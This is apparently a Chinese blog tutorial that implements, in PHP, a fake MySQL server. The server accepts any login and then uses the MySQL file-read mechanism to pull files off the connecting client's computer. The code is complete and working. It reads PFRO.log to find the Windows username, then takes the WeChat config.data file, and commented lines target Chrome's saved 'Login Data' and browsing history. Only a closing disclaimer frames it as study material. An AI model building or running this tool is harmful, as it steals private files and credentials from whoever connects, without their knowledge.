前言

无意间发现 MySQL蜜罐获取攻击者微信ID 这篇文章,读完后觉得挺有意思的,于是想用 PHP 实现一下。

通过文章了解到,可以启动一个 TCP 服务伪装成 MySQL 服务,当有人通过客户端连接进来时,不管用什么账号密码都提示登录成功,然后利用 MySQL 通信机制可以读取客户端所在的电脑上的文件。

建立 TCP 服务

先定义一些会用到的常量。

1
2
3
4
5
6
7
8
define('SERVER_ADDRESS', '0.0.0.0'); // 服务地址
define('SERVER_PORT', 8080); // 端口号
define('BUF_MAX_SIZE', 1024 * 100); // 每次最多读取多少字节的数据

// MySQL 信息报文(版本号、salt等信息)
define('MYSQL_INFO_MESSAGE', "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00");
// MySQL 认证成功报文
define('MYSQL_AUTH_SUCCESS', "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00");

创建一个 TCP Socket 用于接收并处理客户端的连接,socket_accept 函数返回的是一个已经通过 TCP 三次握手后的连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 创建 TCP Socket
$server = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 将 Socket 绑定到指定的主机地址和端口上
socket_bind($server, SERVER_ADDRESS, SERVER_PORT);
// 开始监听 Socket
socket_listen($server);

// 这里 while true 是为了处理完一个连接之后,又可以继续处理下一个连接
while (true) {
// 由于我们刚刚创建的 $server 是阻塞 IO,
// 所以代码运行到这的时候会阻塞住,会将 CPU 让出去,
// 直到有客户端来连接
$conn = socket_accept($server);

// 后面的代码都是从这开始的
}

到这里一个简单的 TCP 服务就完成了。

由于 socket_accept 后面的代码是本文的重点,所以将这部分单独拿出来。

MySQL 服务端与客户端通信的过程

接下来要做的事情就是伪装 MySQL 服务与客户端进行交互。

在此之前,我们先了解一下 MySQL 服务端与客户端通信的过程。

  • 客户端对服务端发起请求,进行 TCP 三次握手后建立连接
  • 服务端给客户端发 MySQL 版本等信息
  • 客户端收到后,给服务端发送账号密码进行认证
  • 服务端收到账号密码进行验证,然后给客户端发送认证结果
  • 客户端收到认证成功的消息后,给服务端发送设置编码的报文

用代码实现上面服务端做的事情。

1
2
3
4
5
6
7
8
// 发送 MySQL 服务信息报文
socket_write($conn, MYSQL_INFO_MESSAGE);
// 读取账号密码
socket_read($conn, BUF_MAX_SIZE);
// 发送认证成功报文
socket_write($conn, MYSQL_AUTH_SUCCESS);
// 读取设置编码的报文
socket_read($conn, BUF_MAX_SIZE);

封装需要用到函数

服务端需要根据客户端的 IP 为客户端建立一个目录,用于保存从客户端读取到的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
function get_log_path($conn)
{
/* 从连接中获取 ip 地址 */
socket_getsockname($conn, $remote_ip);

$log_path = __DIR__.'/log/'.$remote_ip;

if (!is_dir($log_path)) {
mkdir($log_path, 0777, true);
}

return $log_path;
}

封装一个函数用来发送读取文件的报文并获取客户端返回的文件内容。

报文格式:文件名的长度转换为字符 + \x00\x00\x01\xFB + 文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
function read_file($conn, $filename)
{
// 构造读取文件的报文
$packet = chr(strlen($filename) + 1)."\x00\x00\x01\xFB".$filename;
// 发送读取文件的报文
$result = socket_write($conn, $packet);
if ($result === false) {
return false;
}

// 读取客户端发过来的文件内容
return socket_read($conn, BUF_MAX_SIZE);
}

读取 PFRO.log 文件

在收到设置编码的报文之后,先读取客户端电脑上的 C:/Windows/PFRO.log 文件,然后将读取到的文件内容保存到指定的目录中。

为什么要读取这个文件?

因为在获取用户微信 ID 等信息之前,需要知道客户端电脑使用的用户名,而在大多数 Windows 电脑上都有 C:/Windows/PFRO.log` 这个文件。

所以大概率能从这个文件中找到用户名(注意并不是 100% 能找到)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 不存在 PFRO.log 说明是第一次连接,需要先获取该文件
if (!file_exists("{$log_path}/PFRO.log")) {
// 读取文件内容
$content = read_file($conn, 'C:/Windows/PFRO.log');
if ($content === false) {
printf("read PFRO.log failed, %s\n", socket_last_error());
socket_close($conn);
continue;
}

printf("read PFRO.log success...\n");

// 断开连接
socket_close($conn);
// 保存文件内容
file_put_contents("{$log_path}/PFRO.log", $content);
continue;
}

为什么读取到 PFRO.log 文件之后就断开连接?

运行到这一段代码的时候, 客户端与服务端已经认证完成了,就算服务端不断开连接,客户端也会断开。

客户端第一次连接时保存了 PFRO.log 文件,第二次连接时就可以通过这个文件得到电脑用户名,从而可以去获取保存微信 ID 的文件了。

读取指定的文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 读取文件内容并替换特殊字符
$content = file_get_contents("{$log_path}/PFRO.log");
$content = str_replace(["\n", "\r", "\t", "\00", ' ',], '', $content);
$content = str_replace('\\', '/', $content);

// 解析出用户名
preg_match("#Users/(.*)/#", $content, $data);
$username = explode('/', $data[1])[0];

// 要获取的文件名
$filename = "C:/Users/{$username}/Documents/WeChat Files/All Users/config/config.data";
// $filename = "C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/Login Data";
// $filename = "C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/History";
// 保存到本地的文件名
$save_filename = str_replace(['/', ':'], ['_', ''], $filename);

// 读取该文件
$content = read_file($conn, $filename);
if ($content === false) {
printf("read %s failed, %s\n", $filename, socket_last_error());
socket_close($conn);
continue;
}

解决读取大文件的问题

接下来解决原文中提到的如何读取大文件的问题。

当读取的文件比较大的时候,客户端会分段发送文件内容,所以服务端也要多次读取才能得到完整的文件。

为了避免客户端没有发送数据或数据已经读取完了导致 socket_read 一直处于阻塞状态,需要先将连接设置为非阻塞的。

当没有读取到数据时 socket_read 会立即返回并停止循环。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 设置为非阻塞
socket_set_nonblock($conn);

do {
printf("read %d bytes from %s...\n", strlen($content), $filename);
// 以追加的方式写入文件内容
file_put_contents("{$log_path}/{$save_filename}", $content, FILE_APPEND);
// 继续读取文件内容,当文件内容为空时说明读完了
$content = socket_read($conn, BUF_MAX_SIZE);
} while (!empty($content));

// 关闭连接
socket_close($conn);

总结

通过本文可以了解到:

  • MySQL 身份认证的过程
  • 使用 PHP 建立 TCP 服务并与客户端交互
  • 使用 Socket 读取大文件

⚠️ 注意!!!本文及源码仅用于学习研究!请勿用于商业或非法目的,否则后果自负。

参考链接: